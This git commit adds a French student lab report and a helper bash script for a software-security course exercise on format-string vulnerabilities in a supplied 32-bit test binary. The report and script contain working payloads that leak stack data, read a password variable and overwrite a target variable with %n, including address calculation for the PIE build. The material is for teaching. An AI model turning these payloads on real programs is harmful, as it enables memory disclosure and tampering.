Finish TD6
This commit is contained in:
parent
07eb566445
commit
7c934bcefb
3 changed files with 236 additions and 29 deletions
|
@ -4,7 +4,7 @@ SRC = $(wildcard *.c)
|
|||
TGT = $(subst .c,,$(SRC))
|
||||
BUILD_DIR = build
|
||||
DUMP_DIR = dump
|
||||
|
||||
SETARCH ?= 0
|
||||
|
||||
pframe:
|
||||
curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \
|
||||
|
@ -36,9 +36,16 @@ build: $(addprefix $(BUILD_DIR)/, $(addsuffix _32, $(TGT))) \
|
|||
$(addprefix $(BUILD_DIR)/, $(addsuffix _64-pie, $(TGT))) \
|
||||
|
||||
|
||||
PHONY: gdb_% configure
|
||||
gdb_%: $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%))
|
||||
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} setarch -R gdb $< --command=$(subst gdb_,,$@).gdb
|
||||
ifeq ($(SETARCH),1)
|
||||
gdb_command = setarch -R gdb
|
||||
else
|
||||
gdb_command = gdb
|
||||
endif
|
||||
PHONY: gdb_%
|
||||
gdb_%: configure $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%))
|
||||
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} $(gdb_command) \
|
||||
$(addprefix $(BUILD_DIR)/, $(subst gdb_,,$@)) \
|
||||
--command=$(subst gdb_,,$@).gdb
|
||||
|
||||
|
||||
PHONY: clean
|
||||
|
|
108
content/secu_logicielle/td6-format_strings_vulns/files/q1/hack_vulnerable.sh
Executable file
108
content/secu_logicielle/td6-format_strings_vulns/files/q1/hack_vulnerable.sh
Executable file
|
@ -0,0 +1,108 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
#
|
||||
|
||||
usage() {
|
||||
cat <<EOF
|
||||
hack the vulnerable!
|
||||
|
||||
This script calculate for you all you need to hack the \`vulnerable-1_32-pie\`
|
||||
TD6 part1 question 9 of software security course
|
||||
|
||||
OPTIONS
|
||||
-h | --help show this message
|
||||
-a | --address set the \`foo()\` return address if not set, script will
|
||||
ask you to put it on stdin
|
||||
-i | --show-info display all informations abous processing addresses
|
||||
EOF
|
||||
|
||||
}
|
||||
|
||||
error() {
|
||||
>&2 printf "\e[31mError\e[0m: %s\n" "$1"
|
||||
}
|
||||
|
||||
|
||||
info() {
|
||||
local message="$*"
|
||||
[[ -z $DEBUG || $DEBUG -ne 1 ]] && return
|
||||
[ -z "$message" ] && return
|
||||
|
||||
# On affiche les informations supplémentaires pour le débogage
|
||||
printf "\n\e[34mInfo\e[0m: %s\n" "$message"
|
||||
}
|
||||
|
||||
process_args() {
|
||||
while :; do
|
||||
case $1 in
|
||||
-h|-\?|--help)
|
||||
usage
|
||||
exit 0
|
||||
;;
|
||||
-a|--address)
|
||||
addr="$2"
|
||||
shift
|
||||
;;
|
||||
-i|--show-information)
|
||||
DEBUG=1
|
||||
;;
|
||||
*)
|
||||
break
|
||||
esac
|
||||
shift
|
||||
done
|
||||
}
|
||||
|
||||
process_args "$@"
|
||||
if [ -z "${addr:-}" ]
|
||||
then
|
||||
printf "Enter the return address for foo(): "
|
||||
read -r addr
|
||||
else
|
||||
info "I have the address: $addr"
|
||||
fi
|
||||
if [[ $addr =~ ^0x.*$ ]]
|
||||
then
|
||||
addr=${addr:2:8}
|
||||
info "remove 0x on address begining $addr"
|
||||
fi
|
||||
if [[ ! $addr =~ ^[0-9a-fA-F]{8}$ ]]
|
||||
then
|
||||
error "$addr is not a valid address"
|
||||
exit 10
|
||||
fi
|
||||
|
||||
for e in "main" "target"
|
||||
do
|
||||
v=$(objdump -D build/vulnerable-1_32-pie | grep "<$e>" | awk '{print $1}')
|
||||
printf -v "$e" "%s" "$v"
|
||||
done
|
||||
info "Get main() and target address with objdump
|
||||
* main: $main
|
||||
* target: $target"
|
||||
|
||||
delta=$((16#$target - 16#$main))
|
||||
info "Caclulate the difference between this two address:
|
||||
* delta: $delta"
|
||||
|
||||
pie_main=${addr:0:6}${main:6:4}
|
||||
info "get the main() address on our executable : get the 3 fist numbers of addr
|
||||
and the last one of the main address reported by \`objdump\`
|
||||
* main() address on pie process: $pie_main"
|
||||
|
||||
printf -v pie_target "%x" $((16#$pie_main + delta ))
|
||||
info "Add the delta to main() address
|
||||
* \`target\` address on pie process: $pie_target"
|
||||
|
||||
printf -v get_target "\\\\\\\x%s" "${pie_target:6:2}" "${pie_target:4:2}" "${pie_target:2:2}" "${pie_target:0:2}"
|
||||
info "Put the target address in the right order:
|
||||
* address payload: $get_target"
|
||||
|
||||
printf "\nGet the Target :\n"
|
||||
printf "%s %s\n" "$get_target" "%23\$s"
|
||||
|
||||
printf "\nModify the Target:\n"
|
||||
printf "%s %s\n" "$get_target" "%23\$s"
|
||||
|
||||
printf "\nHack the Target:\n"
|
||||
printf "%s%s\n" "$get_target" "%152896p%23\$n"
|
|
@ -1,6 +1,9 @@
|
|||
---
|
||||
title: "Sécurité logicielle : TD6 String, format, vulnérabilité"
|
||||
date: 2023-03-10
|
||||
author:
|
||||
- Yorick Barbanneau
|
||||
- Gwendal Aupee
|
||||
tags: ["Assembleur", "x86"]
|
||||
categories: ["Sécurité logicielle", "TD"]
|
||||
---
|
||||
|
@ -9,7 +12,7 @@ categories: ["Sécurité logicielle", "TD"]
|
|||
|
||||
### Question 1
|
||||
|
||||
Ce programme affiche ue première ligne avec les élements suivants (dans
|
||||
Ce programme affiche une première ligne avec les éléments suivants (dans
|
||||
l'ordre)":
|
||||
|
||||
* `c`
|
||||
|
@ -17,16 +20,16 @@ l'ordre)":
|
|||
* `0x00000009`
|
||||
* `AAA`
|
||||
|
||||
Il affiche encuite la valeur de `value` dans une seconde ligne. Cette valeur a
|
||||
été écrite par notre premier `fprintf` grace à `%n`.
|
||||
Il affiche ensuite la valeur de `value` dans une seconde ligne. Cette valeur a
|
||||
été définie par notre premier `fprintf` grâce à `%n`.
|
||||
|
||||
### Question 2
|
||||
|
||||
Grace au commandes passées à `printf` (fonction `foo()`), nous pouvons remontrer
|
||||
Grâce au commandes passées à `printf` (fonction `foo()`), nous pouvons remontrer
|
||||
dans la pile et ainsi afficher les adresses.
|
||||
|
||||
```
|
||||
%2p
|
||||
%p
|
||||
pframe
|
||||
[...]
|
||||
0xffffd60c 0x56555500
|
||||
|
@ -40,7 +43,7 @@ pframe
|
|||
0xffffd5ec 0x08049192
|
||||
0xffffd5e8 0x080482ac
|
||||
0xffffd5e4 0xf7c73230 <- '%p'
|
||||
0xffffd5e0 0xffffd63c
|
||||
0xffffd5e0 0xffffd63c <- format
|
||||
0xffffd5dc sp 0x080491b4
|
||||
|
||||
(gdb) n
|
||||
|
@ -48,14 +51,17 @@ Single stepping until exit from function printf,
|
|||
which has no line number information.
|
||||
0xf7c73230 <- on a bien l'affichage de %p
|
||||
```
|
||||
C'est exactement la démarche vue en cours pour détourner `printf` de son udsage
|
||||
C'est exactement la démarche vue en cours pour détourner `printf` de son usage
|
||||
de base.
|
||||
|
||||
Avec la version PIE, c'est exactement la même chose: on affiche l'élément juste
|
||||
au dessus du format avec `%p`.
|
||||
|
||||
### question 3
|
||||
|
||||
Avec les commandes `backtrace` puis `frame 2`, nous avons réussi à trouver
|
||||
l'adresse de la variable `var`: *0xffffc8a8* (sur notre machine). Ce qui
|
||||
représente une remontée dans la pile de 22 élements. Il nous a suffit de saisir
|
||||
représente une remontée dans la pile de 22 éléments. Il nous a suffit de saisir
|
||||
`%22$p` pour afficher le contenu comme dans le code ci-dessous
|
||||
|
||||
```bash
|
||||
|
@ -65,15 +71,16 @@ représente une remontée dans la pile de 22 élements. Il nous a suffit de sais
|
|||
```
|
||||
### Question 4
|
||||
|
||||
Afin de saisir les 4 entiers , nous avonc créé un fichier de commandes gdb
|
||||
Afin de saisir les 4 entiers , nous avons créé un fichier de commandes gdb
|
||||
modifié comme ci-dessous pour automatiser la saisie:
|
||||
|
||||
```gdb
|
||||
b printf
|
||||
r < <(echo -e '\x31\x32\x33\x34')
|
||||
```
|
||||
|
||||
Il est possible de lancer l'opération avec notre `Makefile` qui se charge de
|
||||
toutes les opérations :
|
||||
toutes les actions :
|
||||
|
||||
|
||||
```bash
|
||||
|
@ -87,13 +94,14 @@ p &buf
|
|||
$2 = (char (*)[128]) 0xffffd56c
|
||||
```
|
||||
|
||||
Au moment du prinf `SP` se situe à `0xffffd50c`, on en déduit par soustraction
|
||||
que notre `buf` se trouve à 96 octets plus bas que nore pointer de pile. en
|
||||
prenant en compte les adresses 32bits et la *strack frame* conteant le format,
|
||||
nous injectons `%23$p` pour trouver le contenu voici la commande shell exécutée:
|
||||
Au moment du `printf`, `SP` se situe à `0xffffd50c`, on en déduit par
|
||||
soustraction que notre `buf` se trouve à 96 octets plus bas que notre pointeur
|
||||
de pile. En prenant en compte les adresses 32bits et la *strack frame* contenant
|
||||
le format, nous injectons `%23$p` pour trouver le contenu voici la commande
|
||||
shell exécutée:
|
||||
|
||||
```bash
|
||||
echo -e '\x31\x32\x33\x34 %23$p' | setarch -R ./build/vulnerable-1_32
|
||||
echo -e '\x31\x32\x33\x34 %23$p' | ./build/vulnerable-1_32
|
||||
1234 0x34333231
|
||||
```
|
||||
|
||||
|
@ -104,7 +112,7 @@ D'après `objdump`, la variable `passwd` se trouve à l'adresse `0x0804c01c`
|
|||
Il suffit de faire la commande suivante avec l'adresse que l'on a trouvé
|
||||
|
||||
```bash
|
||||
echo -e '\x1c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32
|
||||
echo -e '\x1c\xc0\x04\x08 %23$s' | ./build/vulnerable-1_32
|
||||
secret_password
|
||||
```
|
||||
|
||||
|
@ -123,22 +131,22 @@ objdump -D build/vulnerable-1_32 | grep target
|
|||
0804c02c <target>:
|
||||
```
|
||||
|
||||
Puis de forrger notre entrée. Afin d'afficher les caractères, il est nécessaire
|
||||
Puis de forger notre entrée. Afin d'afficher les caractères, il est nécessaire
|
||||
d'utiliser `hexdump` sur notre machine:
|
||||
|
||||
```
|
||||
echo -e '\x2c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32 | hexdump -C
|
||||
```bash
|
||||
echo -e '\x2c\xc0\x04\x08 %23$s' | ./build/vulnerable-1_32 | hexdump -C
|
||||
00000000 2c c0 04 08 20 20 31 32 33 12 0a |,... 123..|
|
||||
0000000b
|
||||
```
|
||||
|
||||
### Question 7
|
||||
|
||||
Une fois que nous avons affiche le contenu de la vatiable `target`, nous allons
|
||||
pouvois la modifier en changeant son contenu avec le format `%n` :
|
||||
Une fois que nous avons affiché le contenu de la variable `target`, nous allons
|
||||
pouvoir la modifier en changeant son contenu avec le format `%n` :
|
||||
|
||||
```bash
|
||||
echo -e '\x2c\xc0\x04\x08 %23$n' | setarch -R ./build/vulnerable-1_32
|
||||
echo -e '\x2c\xc0\x04\x08 %23$n' | ./build/vulnerable-1_32
|
||||
|
||||
|
||||
you have modified the target to 0x6!
|
||||
|
@ -146,11 +154,95 @@ you have modified the target to 0x6!
|
|||
|
||||
### Question 8
|
||||
|
||||
Uen fois la première modification appliquée, il ne reste plus qu'à forger le
|
||||
Une fois la première modification appliquée, il ne reste plus qu'à forger le
|
||||
paramètre de notre format pour rendre la condition`if (target == 0x00025544)`
|
||||
vrai.
|
||||
|
||||
`0x25544` est égal à 152900,
|
||||
`0x25544` est égal à 152900, en prenant en compte les caractères avant, notre
|
||||
décalage est de 152896 pour mettre la bonne valeur dans `target` (le décalage
|
||||
contient les 4 octets de l'adresse)
|
||||
|
||||
```bash
|
||||
echo -e '\x2c\xc0\x04\x08 %152894p%23$n' | setarch -R ./build/vulnerable-1_32
|
||||
echo -e '\x2c\xc0\x04\x08%152896p%23$n' | ./build/vulnerable-1_32
|
||||
# [...]
|
||||
0xf7c73230
|
||||
you have hacked it!
|
||||
```
|
||||
|
||||
### Question 9
|
||||
|
||||
Pour réaliser les 3 questions précédentes avec l'exécutable *PIE*, nous allon
|
||||
avoir besoin des éléments suivants:
|
||||
|
||||
* l'adresse de `main()` et de `target` que nous pouvons obtenir avec les deux
|
||||
commandes suivantes :
|
||||
|
||||
```bash
|
||||
objdump -D build/vulnerable-1_32-pie | grep "<main>" | awk '{print $1}'
|
||||
objdump -D build/vulnerable-1_32-pie | grep "<target>" | awk '{print $1}'
|
||||
```
|
||||
|
||||
* lors de l'exécution de notre exécutable vulnérable, l'adresse de retour de
|
||||
la fonction `foo()` que nous obtiendrons avec `%15$p`. Nous avond obtenu
|
||||
cette valeur en observant l'exécutable avec `gdb` en utilisant `pframe`
|
||||
|
||||
Voici un exemple d'exécution de l'exécutable avec la charge utile permettant
|
||||
d'extraire le contenu de `target`.
|
||||
```
|
||||
(echo '%15$p'; read hack; echo -e "$hack") | ./build/vulnerable-1_32-pie
|
||||
0x565b92b4
|
||||
\\x2c\\xc0\\x5b\\x56 %23$s
|
||||
,[V 123
|
||||
```
|
||||
|
||||
Comme nous sommes des administrateurs systèmes - et donc fainéants dans l'âme -
|
||||
nous avons écrit un script permettant de réaliser **les calculs nécessaires pour
|
||||
la saisie de l'adresse**.
|
||||
|
||||
Ce script est disponible dans l'archive jointe à ce rapport. Il suffit de
|
||||
l'exécuter avec le paramètre `-i` pour qu'il affiche les étape de création de la
|
||||
charge utile. L'adresse de retour de `foo` peut être passée en paramètre via
|
||||
l'option `-a` sinon il sera demandé de la saisir.
|
||||
|
||||
Voici un exemple d'exécution du script:
|
||||
|
||||
```
|
||||
./hack.sh -i -a 0x5655a2b4
|
||||
|
||||
Info: I have the address: 0x5655a2b4
|
||||
|
||||
Info: remove 0x on address begining 5655a2b4
|
||||
|
||||
Info: Get main() and target address with objdump
|
||||
* main: 0000124c
|
||||
* target: 0000402c
|
||||
|
||||
Info: Caclulate the difference between this two address:
|
||||
* delta: 11744
|
||||
|
||||
Info: get the main() address on our executable : get the 3 fist numbers of addr
|
||||
and the last one of the main address reported by `objdump`
|
||||
* main() address on pie process: 5655a24c
|
||||
|
||||
Info: Add the delta to main() address
|
||||
* `target` address on pie process: 5655d02c
|
||||
|
||||
Info: Put the target address in the right order:
|
||||
* address payload: \\x2c\\xd0\\x55\\x56
|
||||
|
||||
Get the Target :
|
||||
\\x2c\\xd0\\x55\\x56 %23$s
|
||||
|
||||
Modify the Target:
|
||||
\\x2c\\xd0\\x55\\x56 %23$s
|
||||
|
||||
Hack the Target:
|
||||
\\x2c\\xd0\\x55\\x56%152896p%23$n
|
||||
```
|
||||
|
||||
Le script donne enfin les charges utiles pour les question 6. 7 et 8 applicable
|
||||
à la version PIE de `vulnerable`. Il suffit de copier-coller la charge utile
|
||||
désirée dans la saisie attendue par l'exécution de `vulnerable-1_32-pie`.
|
||||
|
||||
Nous sommes obligé d'échapper l'antislash de nos valeurs hexadécimales car notre
|
||||
saisie passe par la variable `hack` avant d'être utilisée par le `echo`.
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue